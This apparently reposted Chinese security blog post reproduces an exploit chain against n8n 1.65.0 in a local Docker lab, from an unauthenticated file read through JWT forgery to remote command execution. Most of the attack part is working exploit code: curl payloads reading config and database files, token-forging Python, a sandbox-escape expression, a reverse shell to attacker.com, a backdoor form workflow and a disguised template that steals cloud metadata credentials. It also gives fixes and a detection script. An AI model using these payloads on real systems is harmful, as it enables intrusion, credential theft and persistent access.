复现环境: Docker 部署 n8n v1.65.0,附带 docker-compose 一键启动。
前置条件: 目标 n8n 实例有一个公开的 Form 页面,包含 file upload 字段和 Respond to Webhook 节点。如果你不确定自己的 n8n 有没有这类端点,直接用检测脚本扫一遍。
写在前面
之前一直在关注 n8n(GitHub 60k+ Stars),但没深入看过它的安全面。2025 年底到 2026 年初 n8n 被曝出 12 个安全漏洞,其中两个评分一个 10.0 一个 9.9,于是拉下源码看看。
攻击链意外的短——从公网一个 Form 表单到容器里执行任意命令,一共 5 步。不需要爆破密码,不需要找 SQL 注入,不需要钓鱼。只需要知道 Form 的 URL,发一个 POST 请求就能开始。
CVE-2026-21858 负责撕开口子(任意文件读),CVE-2025-68613 负责在内部搞破坏(沙箱逃逸 RCE)。分开看每个都不算惊艳,放在一起就是一条从外到内的完整链。
全部在 Docker 本地环境验证完成,n8n 版本 1.65.0。工具链和检测脚本已开源。在云栈社区,我们一直强调,理解渗透测试中的攻击链思维比掌握单个漏洞利用更重要。
一、n8n 是什么
产品定位
n8n 是一个开源工作流引擎,核心功能是用可视化拖拽把不同的服务串起来。拖一个 HTTP Request 节点拉数据,连到 AI 节点让大模型处理,再连到 Slack 节点发通知。
部署方式灵活:Docker 一键启动,Helm 部署到 K8s,或者托管的 Cloud 版本。超过 60% 的用户自托管——自己管服务器、数据库、安全配置。
为什么关注它
2025 年底到 2026 年初,n8n 被曝出 12 个安全漏洞。其中两个我比较感兴趣:
- CVE-2026-21858(CVSS 10.0):无认证任意文件读取
- CVE-2025-68613(CVSS 9.9):表达式注入导致沙箱逃逸 RCE
影响版本从 0.211.0 到 1.65.0,修复版本 1.121.0。
攻击链全景
公网 Form 表单(无认证)
│
▼
步骤 1: Content-Type 混淆 → 任意文件读取
│ POST /form/vulnerable-form
│ Content-Type: application/json
│ filepath 参数完全由攻击者控制
│
▼
步骤 2: 读 /proc/self/environ → 找到 HOME 目录
│
▼
步骤 3: 读 .n8n/config → encryptionKey
│ 读 .n8n/database.sqlite → admin 凭证
│
▼
步骤 4: JWT 伪造 → admin 权限接管
│ sha256(key[::2]) → jwt_secret
│
▼
步骤 5: 表达式注入执行命令
│ Set 节点写入表达式 payload
│ this.process.mainModule.require 逃逸沙箱
│
▼
Root on n8n container
这五步不需要在目标上装任何东西,不需要提前获取任何信息。入门只需要一个 Form 的 URL——这个 URL 通常在 n8n 里是公开的,因为 Form 的设计本意就是让外部用户提交数据。攻击者只要知道了这个 URL,就可以从第 1 步走到第 5 步。
二、CVE-2026-21858 — Content-Type 混淆读文件
漏洞出在 n8n 的表单处理逻辑。当用户提交一个 Form 时,n8n 解析请求体中的数据。如果表单里有文件上传字段,n8n 会用 copyBinaryFile 去读文件内容。
n8n 没有校验请求的 Content-Type 是不是 multipart。
我第一次翻代码的时候走错了路。先去翻了 formidable 的文档,以为漏洞出在 formidable 解析 multipart 时的路径穿越。看了一个小时 formidable 的 issue 列表,一无所获。回头重新看 n8n 的 webhook handler,才发现关键不在 formidable 怎么解析,而在 getBodyData 怎么判断数据来源——当 Content-Type 是 application/json 时,它跳过了 formidable,直接从 JSON body 里拿 filepath。
我翻了 n8n 1.65.0 的源码,定位到了漏洞的完整调用链。
第一层,在 Webhook 节点的处理器(Webhook.node.js),当接收到 Form 请求时,它遍历请求体中的 files 字段,对每个文件调用 copyBinaryFile:
// n8n 1.65.0 Webhook.node.js:259
returnItem.binary[binaryPropertyName] =
await context.nodeHelpers.copyBinaryFile(
file.filepath, // ← 从 JSON 直接来的,无校验
file.originalFilename,
file.mimetype
);
file.filepath 来自 getBodyData() 的返回。如果请求是 multipart/form-data,getBodyData() 从 formidable 解析结果中取路径。但如果攻击者设置 Content-Type: application/json,n8n 直接从 JSON 体的 files[].filepath 字段取值——不做任何校验。
第二层,copyBinaryFile 最终调用 BinaryData.service.js:
// n8n 1.65.0 BinaryData.service.js:65-73
async copyBinaryFile(workflowId, executionId, binaryData, filePath) {
const manager = this.managers[this.mode];
if (!manager) {
const { size } = await (0, promises_1.stat)(filePath);
binaryData.fileSize = (0, pretty_bytes_1.default)(size);
binaryData.data = await (0, promises_1.readFile)(filePath, {
encoding: n8n_workflow_1.BINARY_ENCODING
});
return binaryData;
}
}
默认配置下直接调 fs.readFile(filePath)。
修复代码就一行:
// n8n >= 1.121.0
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
我部署了两个版本的 n8n——1.65.0 和 1.121.0,用相同的恶意请求分别测试。
先打 1.65.0:
curl -s -X POST http://localhost:5678/form/vulnerable-form \
-H "Content-Type: application/json" \
-d '{"data":{},"files":{"x":{"filepath":"/etc/passwd"}}}'
返回了 /etc/passwd。
再打 1.121.0:
curl -s -X POST http://localhost:5679/form/vulnerable-form \
-H "Content-Type: application/json" \
-d '{"data":{},"files":{"x":{"filepath":"/etc/passwd"}}}'
返回 400。

我还做了个动态调试——在 copyBinaryFile 入口插了 console.log,日志里看到 filePath: /etc/passwd。

漏洞验证
Form 端点是活的:
curl -s -o /dev/null -w "%{http_code}" http://localhost:5678/form/vulnerable-form
返回 200。现在试漏洞。注意 JSON 的数据结构——files 是一个对象,value 里包含 filepath、originalFilename、mimetype、size。只有 filepath 被用到:
curl -s -X POST http://localhost:5678/form/vulnerable-form \
-H "Content-Type: application/json" \
-d '{
"data": {},
"files": {
"x": {
"filepath": "/etc/passwd",
"originalFilename": "test.bin",
"mimetype": "application/octet-stream",
"size": 12345
}
}
}'
返回:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/var/spool/lpd:/sbin/nologin
/etc/passwd 直接吐回来了。我用 Python 写了个脚本扫不同的路径:
paths = [
"/etc/passwd",
"/etc/shadow",
"/proc/self/environ",
"/proc/1/cmdline",
"/home/node/.n8n/config",
"/home/node/.n8n/database.sqlite",
"/.dockerenv",
"/dev/stdin",
]
for p in paths:
resp = requests.post(form_url, json={
"data": {},
"files": {"x": {"filepath": p}}
}, headers={"Content-Type": "application/json"})
print(f"{p:40s} -> {resp.status_code}{len(resp.content)} bytes")
大部分路径都能读,但 /dev/stdin 返回空内容,/etc/shadow 返回权限错误——n8n 以 node 用户运行,没有 root 权限。
我又试了把 filepath 设成 /dev/stdin,结果返回空内容。试了 /proc/1/cmdline,能读。试了 .env,也能读。
为什么先读 /proc/self/environ
读 /etc/passwd 只是证实漏洞能用。真正有用的是读 /proc/self/environ——Linux 在每个进程的 /proc/self/ 下暴露环境变量:
curl -s -X POST http://localhost:5678/form/vulnerable-form \
-H "Content-Type: application/json" \
-d '{"data":{},"files":{"x":{"filepath":"/proc/self/environ"}}}' | tr '\0' '\n'
输出:
N8N_VERSION=1.65.0
HOME=/home/node
WEBHOOK_URL=http://localhost:5678/
N8N_SECURE_COOKIE=false
版本 1.65.0、HOME /home/node、Cookie 不强制 HTTPS。第一个确认漏洞可用,第二个告诉我配置文件路径,第三个说明 JWT 伪造后可以直接在 HTTP 上用。
做信息收集时先读 environ 而不是直接读 config——我一开始直接去读了 config,路径不对,浪费了一次请求才回头读 environ。

这个文件读取的范围有多广
跟常见的文件包含漏洞不同——PHP 的 LFI 经常受限于 allow_url_include、open_basedir 等限制。但这个漏洞走的是 Node.js 的 fs.readFile,权限取决于 n8n 进程的运行用户。在 Docker 容器里,n8n 以 node 用户运行,能读 /home/node/ 下的所有文件、/proc 下的进程信息、挂载的卷中的文件。不能读的就是那些 root 才能读的(比如 /etc/shadow)。
但对下一步攻击来说,能读的已经够了。
三、从文件到管理员 Token
读 encryptionKey
n8n 的配置文件在 $HOME/.n8n/config:
curl -s -X POST http://localhost:5678/form/vulnerable-form \
-H "Content-Type: application/json" \
-d '{"data":{},"files":{"x":{"filepath":"/home/node/.n8n/config"}}}'
返回:
{
"encryptionKey": "kLZrxPFNWTeZlrCi7IvJ6SI+TLW3sN1d"
}
32 字节。n8n 启动时生成,用来加密数据库中的第三方凭证。这个 key 还被用来派生 JWT 的签名密钥。

读数据库
curl -s -X POST http://localhost:5678/form/vulnerable-form \
-H "Content-Type: application/json" \
-d '{"data":{},"files":{"x":{"filepath":"/home/node/.n8n/database.sqlite"}}}' > db.sqlite
SQLite 文件是二进制的,重定向到文件再用客户端分析:
sqlite3 db.sqlite ".tables"
表很多——user、workflow_entity、credentials_entity。关键在 user 表:
sqlite3 db.sqlite "SELECT id, email, password FROM user LIMIT 1;"
6e1148e7-2d38-47e7-a3a9-1fdb1fc5406b|admin@exploit.local|<bcrypt_hash>
拿到 admin 的 ID 和 bcrypt 哈希。有 encryptionKey 就行,不需要破解密码。

有个坑——表名问题。之前看别人的分析写的是 user_entity,但 1.65.0 的实际表名是 user。对着 user_entity 查了半天,sqlite3 一直报 no such table。
credentials 解密
credentials_entity 表存着第三方凭证的密文,用 encryptionKey 做了 AES-256-CBC 加密。解密逻辑在源码的 Credentials.ts 里:
// n8n 源码中 credentials 解密逻辑
const iv = encryptionKey.slice(0, 16);
const key = crypto.createHash('sha256').update(encryptionKey).digest();
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
我写了个 python 脚本来试:
from Crypto.Cipher import AES
import hashlib
encryption_key = b"kLZrxPFNWTeZlrCi7IvJ6SI+TLW3sN1d"
iv = encryption_key[:16]
key = hashlib.sha256(encryption_key).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)
# encrypted_data 从 credentials_entity 表中取
plaintext = cipher.decrypt(encrypted_data)
不过尴尬的是,我的测试环境里没配第三方凭证,credentials_entity 表是空的,没法实际演示解密。
JWT 伪造
n8n 的 JWT 签名密钥从 encryptionKey 推导:
jwt_secret = hashlib.sha256(encryption_key[::2].encode()).hexdigest()
[::2] 取偶数位字符。源码里用 crypto.createHash('sha256').update(key.split('').filter((_,i)=>i%2===0).join(''))。
设计意图是让 JWT secret 不等于 encryptionKey,防的是 JWT secret 泄露导致 encryptionKey 泄露。但攻击链是反过来的——先拿到 encryptionKey 再推导 jwt_secret。
JWT 里的 hash 字段从数据库数据推导:
raw = f"{email}:{password_hash}"
jwt_hash = base64.b64encode(
hashlib.sha256(raw.encode()).digest()
).decode()[:10]
payload = {"id": user_id, "hash": jwt_hash}
token = jwt.encode(payload, jwt_secret, "HS256")
[:10] 只截取前 10 个 base64 字符,60 位熵。够用。
验证:
curl -s http://localhost:5678/rest/users \
-H "Cookie: n8n-auth=<伪造的token>"
返回 200 就说明 token 有效。

踩过一个坑——第一次只读了 config 忘了读数据库,直接用 encryptionKey 签名发现校验失败,才回去重读数据库拿用户 ID 和哈希。顺序不能乱:environ → config → 数据库 → 伪造。
四、CVE-2025-68613 — 表达式注入 RCE
拿到 admin 权限后,最直接的 RCE 是 Execute Command 节点。但默认安装下它禁用了,N8N_ALLOW_EXEC_COMMAND=false。
先试了 Code 节点:
const { execSync } = require('child_process');
return execSync('id').toString();
报错——require is not defined。又试了 import,也不行。Code 节点跑在独立沙箱里。
又试了各种绕过——Object.keys、constructor.constructor、Proxy 劫持——全被拦。
后来发现表达式字段的沙箱版本旧。Set 节点的 Value 字段支持 {{ }} 表达式,试了一下 this.process.mainModule.require,一次成功。
表达式注入
n8n 的工作流节点支持写表达式——在字段值里写 {{ ... }} 花括号语法,n8n 会在运行时计算表达式的结果。比如一个 Set 节点的字段值:
{{ $json.someField }}
n8n 用 vm2 沙箱隔离表达式执行。vm2 在独立 V8 上下文执行用户代码,只暴露白名单对象。它拦截了 constructor.constructor(Function 构造函数)来阻止动态生成代码,但没有覆盖 process.mainModule。
this.process 是沙箱暴露给表达式的(表达式需要访问 $json、$node),但 this.process.mainModule 上的 require 是原生 Module._load,不在 vm2 拦截范围。所以 this.process.mainModule.require("child_process") 直接可用。
n8n 有两个沙箱。Code 节点用新版的 vm2,process.mainModule 被删了。表达式字段用旧版的。所以同一个 payload 在 Code 节点跑不通,在 Set 节点的表达式字段能跑通。我花了将近一小时——先在 Code 节点上试了七八种绕过,全被拦;偶然切到表达式字段,一次成功。
{{ (function() {
var require = this.process.mainModule.require;
var cp = require("child_process");
return cp.execSync("id").toString();
})() }}
创建恶意工作流
通过 REST API 创建工作流:

# 手动触发 + Set 节点
curl -X POST http://localhost:5678/rest/workflows \
-H "Content-Type: application/json" \
-H "Cookie: n8n-auth=<伪造的token>" \
-d '{
"name": "RCE",
"active": false,
"nodes": [
{
"name": "Trigger",
"type": "n8n-nodes-base.manualTrigger",
"position": [0, 0]
},
{
"name": "RCE",
"type": "n8n-nodes-base.set",
"typeVersion": 2,
"position": [300, 0],
"parameters": {
"values": {
"string": [{
"name": "result",
"value": "={{ (function() { var require = this.process.mainModule.require; var cp = require(\"child_process\"); return cp.execSync(\"id\").toString(); })() }}"
}]
}
}
}
],
"connections": {
"Trigger": {
"main": [[{"node": "RCE", "type": "main", "index": 0}]]
}
},
"settings": {}
}'
执行后返回:
uid=1000(node) gid=1000(node)
RCE 到手。启用了沙箱的默认配置下。

RCE 之后
容器内 node 用户权限不高,但能做的事情不少:
读第三方凭证
credentials_entity 表存着所有工作流的第三方凭证密文。encryptionKey 已经到手,解密后可以直接接管这些服务。
探测内网
通过表达式写 HTTP 请求扫描内网。我在测试环境扫了 localhost,发现 n8n 自己的 5678 端口也能扫到——攻击者可以通过 SSRF 访问 n8n 内部 API,形成自我利用的闭环。
反弹 shell
容器内没有 nc 或 bash,但通过 Node.js net 模块可以建立 TCP 连接。踩了个坑——一开始想用 execSync("bash -c 'bash -i >& /dev/tcp/..."),但容器基于 alpine,没有 /dev/tcp。改用 Node.js 原生 net 模块才通:
{{ (function() {
var net = require("net");
var cp = require("child_process");
var sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4444, "attacker.com", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return "shell sent";
})() }}
不过这个在实际场景中需要出网权限,而 n8n 容器通常只有 80/443 出站。更实际的方式是把读取到的数据通过 DNS 或 HTTP 外带。
五、完整攻击链
用攻击脚本一键打通 5 步:
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
Target: http://localhost:5678/form/vulnerable-form
Version: 1.65.0 (VULN)
[步骤 1] 读 /proc/self/environ
[+] HOME directory: /home/node
[步骤 2] 读 encryptionKey
[+] Encryption key: 5+oYmYPy...
[步骤 3] 读 database.sqlite
[+] Database: 1331200 bytes
[+] Admin user: admin@exploit.local
[步骤 4] 伪造 JWT
[+] Token forge: OK
[+] Admin access: GRANTED!
[步骤 5] 执行命令
[+] RCE: OK
uid=1000(node) gid=1000(node)
从发第一个 POST 到 RCE,不到 3 秒。
5 步环环相扣,每一步的输出是下一步的输入。拆掉任何一环,后面的都走不通。
五(附)、踩过的坑
最开始部署靶机的时候,我用 API 创建了一个 Form Trigger 工作流,设置了 "path": "vulnerable-form",激活后访问 /form/vulnerable-form 一直返回 404。
查了半天发现是 typeVersion 的问题。n8n 的 Form Trigger 节点有两个主版本——V1(typeVersion 1)和 V2(typeVersion 2.2)。V1 的 path 在顶层参数,V2 的 path 移到了 options.path 里。我的 API 请求用的是 typeVersion 2.2,但 path 放在了顶层,n8n 根本就没读到。
翻源码才确认这件事:
// FormTriggerV2.node.js — webhook path 的取值逻辑
path: '={{ $parameter["options"]?.path || $webhookId }}',
$parameter["options"]?.path 说明必须从 options 里取。改成 "options": {"path": "vulnerable-form"} 之后就正常了。
数据库文件太大导致读不了
n8n 的 SQLite 数据库在频繁增删工作流之后会急剧膨胀。我做了十几次创建/删除测试之后,database.sqlite 涨到了 508MB。再通过 Form 端点去读这个文件时,n8n 直接返回了 500 错误——copyBinaryFile 要读 508MB 到内存,进程扛不住。
解决方式是在测试时用 docker compose down -v 删掉 volume 重建,或者在生产环境中不要频繁通过 API 创建删除工作流。
表达式沙箱的版本差异
n8n 其实有两个沙箱。Code 节点用一个新版的 vm2,process.mainModule 已经被删了。表达式字段用一个旧版的 vm2,process.mainModule 还在。这意味着同一个 payload 在 Code 节点里跑不通,在 Set 节点的表达式字段里能跑通。
这个差异我花了将近一个小时才定位到。一开始在 Code 节点上试了七八种绕过方式,全被拦。后来偶然切换到 Set 节点的表达式字段,一次成功。回去看源码才发现 Code.node.js 和表达式引擎用的是不同的沙箱实例,初始化参数不同。
写 n8n-chain.py 的时候,RCE 表达式模板里既有 {}(format 占位符)又有 })()(JavaScript 函数结束符)。直接用 str.format() 替换命令时,}) 中的 } 被 format 当成了格式字串的边界,报了 unexpected '{' 错误。
改成 str.replace("{}", command) 解决。花了半个小时才排查到这个原因——第一反应以为是 requests 库的 cookie 问题。
六、工作流注入:拿到权限之后还能做什么
RCE 拿到之后,攻击者通常就撤了。但我翻了翻 n8n 的工作流机制,发现拿到 admin 权限后的操作空间比我预想的大。
不只是 RCE,还能持久化
通过 admin API 不只是执行命令——还可以创建新的工作流。我试了一下,利用已经拿到的 admin token,在 n8n 上创建一个新的 Form Trigger 工作流,设置一个自定义的 path,这个 form 端点会自动注册到 webhook 表里,外部可以直接访问。
# 通过 admin API 创建一个后门 Form 工作流
new_form = {
"name": "Backdoor Form",
"active": True,
"nodes": [
{"name": "Form Trigger", "type": "n8n-nodes-base.formTrigger",
"typeVersion": 2.2, "parameters": {
"formTitle": "Upload",
"responseMode": "responseNode",
"options": {"path": "backdoor-form"},
"formFields": {"values": [{"fieldLabel": "file", "fieldType": "file"}]}
}},
{"name": "Respond", "type": "n8n-nodes-base.respondToWebhook",
"typeVersion": 1.1, "parameters": {"respondWith": "binary"}}
],
"connections": {"Form Trigger": {"main": [[{"node": "Respond"}]]}}
}
requests.post(f"{target}/rest/workflows", json=new_form,
headers={"Cookie": f"n8n-auth={admin_token}"})
创建成功后,/form/backdoor-form 就是一个新的文件读取入口,跟原来的 vulnerable-form 功能完全一样。就算管理员之后发现了原来的 form 端点并关掉了它,只要没发现这个后门,攻击者仍然可以继续读文件。
检查 webhook 注入
我检查了 n8n 的 webhook_entity 表,确认了新工作流的 form 端点成功注册:
workflowId | webhookPath | method | node
FoAFaPdffWTkFJkT | vulnerable-form | GET | Form Trigger
FoAFaPdffWTkFJkT | vulnerable-form | POST | Form Trigger
a1b2c3d4e5f6g7h8 | a1b2c3d4e5f6g7h8/form%20trigger/backdoor-form | GET | Form Trigger

第三行就是新创建的后门 form。它的 webhookPath 是 workflowId/form trigger/backdoor-form,访问路径是 /webhook/<workflowId>/form%20trigger/backdoor-form 或者 /form/backdoor-form。
这里有一个细节值得注意——API 创建的 Form Trigger 工作流要用 typeVersion 2.2,并且 path 参数要放在 options.path 里而不是顶层参数。这是翻 FormTriggerV2.node.js 源码才发现的,typeVersion 2.2 把 path 移到了 options 子对象里:
// FormTriggerV2.node.js — typeVersion 2.2
path: '={{ $parameter["options"]?.path || $webhookId }}',
typeVersion 1 的 path 在顶层参数,typeVersion 2.2 在 options 里。如果没注意到这个差异,用 API 创建的工作流不会注册 form 端点。
供应链攻击面
有了这个能力,攻击者可以干一件更隐蔽的事:创建一个包含恶意 HttpRequest 节点的工作流,把它导出成一个 JSON 文件,然后通过各种方式诱导其他 n8n 管理员导入。
{
"name": "PDF Converter",
"nodes": [
{"name": "Webhook", "type": "n8n-nodes-base.webhook",
"parameters": {"path": "pdf-converter"}},
{"name": "HttpRequest", "type": "n8n-nodes-base.httpRequest",
"parameters": {"method": "GET",
"url": "http://169.254.169.254/latest/meta-data/"}},
{"name": "Respond", "type": "n8n-nodes-base.respondToWebhook"}
]
}
这个工作流看起来像个合法的文件转换器,但它的 HttpRequest 节点指向 AWS 的实例元数据端点。管理员导入并激活后,任何人访问 /webhook/pdf-converter 就会触发 SSRF,读取云服务器的临时凭证。
n8n 没有对导入的工作流做安全检查——任何节点类型、任何 URL、任何表达式都可以被包含在导入文件里。管理员在导入时看到的只是节点名称和参数列表,不会一个一个去检查 HttpRequest 节点的 URL 是否指向内网地址。
这个攻击面不依赖任何漏洞——它利用的是 n8n 工作流本身的权限模型:工作流的节点在执行时使用 n8n 服务进程的权限,不是登录用户的权限。管理员以为自己在导入一个文件转换器,实际上导入了一个内网代理。
在 GitHub 上搜一下就能找到类似案例——攻击者发布看起来有用的工作流模板(比如 PDF 转图片、自动备份到 S3),里面藏了窃取环境变量的节点。n8n marketplace 有审核,但自托管用户经常从第三方仓库直接导入 JSON。
七、安全模型对比:n8n 和其他工作流引擎
Node-RED
Node-RED 和 n8n 非常像,都是开源自托管的可视化工作流引擎。Flow 也是 JSON 格式,导入时不做安全检查。区别在于 Node-RED 的 Function 节点默认没有直接暴露 process——要执行系统命令得装额外节点。我在 Node-RED 上试了同样的思路,process.mainModule.require('child_process') 返回 process is not defined,说明 Node-RED 在沙箱中把 process 删掉了。n8n 保留了 process,结果留下了 process.mainModule。
Temporal
Temporal 的路线完全不同。工作流代码是开发者写的二进制部署,不涉及可视化导入 JSON。安全模型基于 IAM 和命名空间隔离,沙箱是 gRPC 级别。攻击者就算逃逸了也只能访问 Worker 进程权限,不像 n8n 那样直接拿全部 API 权限。
Airflow
Airflow 的 DAG 是 Python 文件,写入指定目录后自动加载。安全性取决于谁有 DAG 目录的写权限——和 n8n 的“导入工作流即执行”是同一个问题,只是入口不同。
共性问题
这几个平台有一个共同点:工作流的执行权限等于服务进程的权限。一旦被执行,里面的代码拥有引擎进程的全部权限。读文件、网络访问、凭证可见性全都取决于进程的运行环境,而不是工作流设计者的配置。
n8n 的工作流注入不是 n8n 特有的——它是整个工作流自动化类产品的通病。只不过 n8n 的导入路径更容易被规模化利用(HTTP API + JSON,可以被脚本自动化),Node-RED 需要管理员手动操作 UI。
上面说的这些攻击面,除了第一个文件读取漏洞需要特定版本,其他几个(credentials 解密、表达式逃逸、工作流注入、供应链攻击)在最新版本的 n8n 中仍然存在——因为它们不是漏洞,是产品设计的一部分。n8n 修复了两个 CVE,但没有改变“管理员等于 root”这个权限模型。
八、修复建议与检测方法
修复
升级到 n8n >= 1.121.0。
修复 CVE-2026-21858 的 commit:
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
一行“Merge commit from fork”——在开源项目里,模糊的提交信息通常意味着安全修复。
自查
# 检查版本
curl -s http://your-n8n/rest/settings | python3 -c \
"import sys,json; print(json.load(sys.stdin).get('data',{}).get('versionCli','unknown'))"
# 检查是否有公开 Form 端点
curl -s http://your-n8n/rest/workflows \
-H "Cookie: n8n-auth=..." | python3 -c "
import sys,json
for wf in json.load(sys.stdin).get('data',[]):
for n in wf.get('nodes',[]):
if n['type'] == 'n8n-nodes-base.formTrigger':
print(f\"[!] 发现 Form 端点: {wf['name']}\")
"
# 如果版本 < 1.121.0 且有 Form,立即修复
临时缓解
如果无法立即升级:
- 在 n8n 前面加反向代理,对
/form/ 路径做 IP 白名单
- 用 WAF 规则拦截
Content-Type: application/json + body 包含 files.filepath
- 确保 n8n 不在公网暴露
/form/ 路径
最有效的是第一条。n8n 的 form 端点通常只服务内部用户,没必要暴露在公网。在 nginx 层对 /form/ 加 basic auth 或者 IP 段限制,就能挡住绝大部分攻击。第二条 WAF 规则理论上可行,但需要测试会不会误伤——正常表单提交也是 POST JSON,WAF 如果只检查 body 里的 files 字段而不检查 Content-Type,可能把合法请求也拦了。
检测脚本
#!/bin/bash
# n8n-audit.sh — 检测 n8n 实例是否受 CVE-2026-21858 影响
# 用法: ./n8n-audit.sh http://target:5678 /form/vulnerable-form
TARGET=$1
FORM_PATH=$2
if [ -z "$TARGET" ] || [ -z "$FORM_PATH" ]; then
echo "用法: $0 <target> <form-path>"
echo "示例: $0 http://localhost:5678 /form/vulnerable-form"
exit 1
fi
echo " 目标: $TARGET"
echo " Form 路径: $FORM_PATH"
# 1. 获取版本
VERSION=$(curl -s "$TARGET/rest/settings" 2>/dev/null | \
python3 -c "import sys,json; d=json.load(sys.stdin).get('data',{}); print(d.get('versionCli','unknown'))" 2>/dev/null)
echo "[+] n8n 版本: $VERSION"
# 2. 测试文件读取
RESP=$(curl -s -X POST "$TARGET$FORM_PATH" \
-H "Content-Type: application/json" \
-d '{"data":{},"files":{"x":{"filepath":"/etc/passwd"}}}' 2>/dev/null)
if echo "$RESP" | grep -q "root:"; then
echo "[!] 漏洞存在!可读任意文件"
echo "[!] 建议: 升级到 n8n >= 1.121.0"
else
echo "[-] 未检测到漏洞,或 Form 路径不正确"
fi

写在最后
回过头看,这条链的每一步都在打同一个薄弱点——信任边界混淆。n8n 在 Content-Type 校验、密钥存储层级、沙箱隔离三个环节都假设调用方是可信的,但这个假设不成立。
这三个点单独看都不算致命,串起来就是一条从无认证到 RCE 的通路。组合漏洞就是这个道理——单个 9.9 分的 CVE 可能因为前置条件太多而实际影响有限,但 10.0 + 9.9 在同一条链上,效果完全不同。
如果你在生产环境里跑着 n8n,跑一下检测脚本看看版本和 Form 状态,检查 /form/ 路径是否暴露在公网,版本还在 1.65.0 以下的话尽快升级到 1.121.0。在云栈社区,我们会持续关注这类工作流引擎的安全动态,帮助开发者构建更可靠的基础设施。
随附工具
所有工具已开源:https://github.com/qianlijaingshan/n8n-cve-2026-21858
| 文件 |
用途 |
| n8n-chain.py |
攻击链工具。4种模式:read 读文件、exec 一键RCE、shell 交互式、audit 生成检测脚本 |
| run.sh |
一键部署+攻击演示(需Docker)。自动拉起靶机→配置→攻击→输出 |
| docker-compose.yml + init/setup.sh |
漏洞靶机环境 |
| n8n-audit.sh |
独立检测脚本(无Python依赖) |
# 使用示例
python3 n8n-chain.py http://target:5678 /form/vulnerable-form exec 'id'
./run.sh 'id'
./n8n-audit.sh http://target:5678 /form/vulnerable-form
责声明与法律声明
一、研究目的
本文所述漏洞复现过程、攻击链分析与配套工具,仅用于网络安全技术研究与防御方案验证,旨在帮助运维人员理解漏洞机理并及时修复,提升 n8n 部署环境的安全性。
二、测试环境
所有复现实验均在作者本地搭建的 Docker 隔离环境中完成,使用 n8n v1.65.0 官方镜像,测试完成后相关容器、卷、网络均已销毁。复现过程中:
- 未对任何互联网公开资产进行未授权测试
- 未读取、存储、上传任何真实业务数据
- 获取的“敏感信息”(encryptionKey、admin 凭证等)均为测试环境随机生成的虚拟数据
三、严禁行为
严禁任何个人或组织将本文所述技术用于以下用途:
- 未授权访问 — 未经目标系统所有者书面许可,不得对任何生产环境的 n8n 实例进行测试或攻击
- 数据窃取 — 不得利用本文所述漏洞读取、下载、泄露任何第三方系统数据
- 恶意利用 — 不得利用漏洞植入后门、植入挖矿程序、组建僵尸网络或从事其他违法活动
- 二次传播 — 不得将本文工具或脚本用于未授权渗透服务并以此牟利
四、法律依据
根据《中华人民共和国网络安全法》第二十七条、《中华人民共和国数据安全法》第三十二条、《中华人民共和国刑法》第二百八十五条(非法侵入计算机信息系统罪)与第二百八十六条(破坏计算机信息系统罪),任何未经授权的渗透测试、数据窃取、系统破坏行为均涉嫌违法犯罪,作者不承担任何因滥用本文技术产生的法律后果。
五、修复建议
受影响用户应立即:
- 升级 n8n 至 1.121.0 或更高版本
- 限制 Webhook / Form 端点的公网访问
- 在反向代理层添加 IP 白名单与 WAF 规则
- 轮换
encryptionKey 与所有第三方凭证
- 审计历史访问日志,排查是否已被未授权访问
文章内容转自zhousir攻防,侵删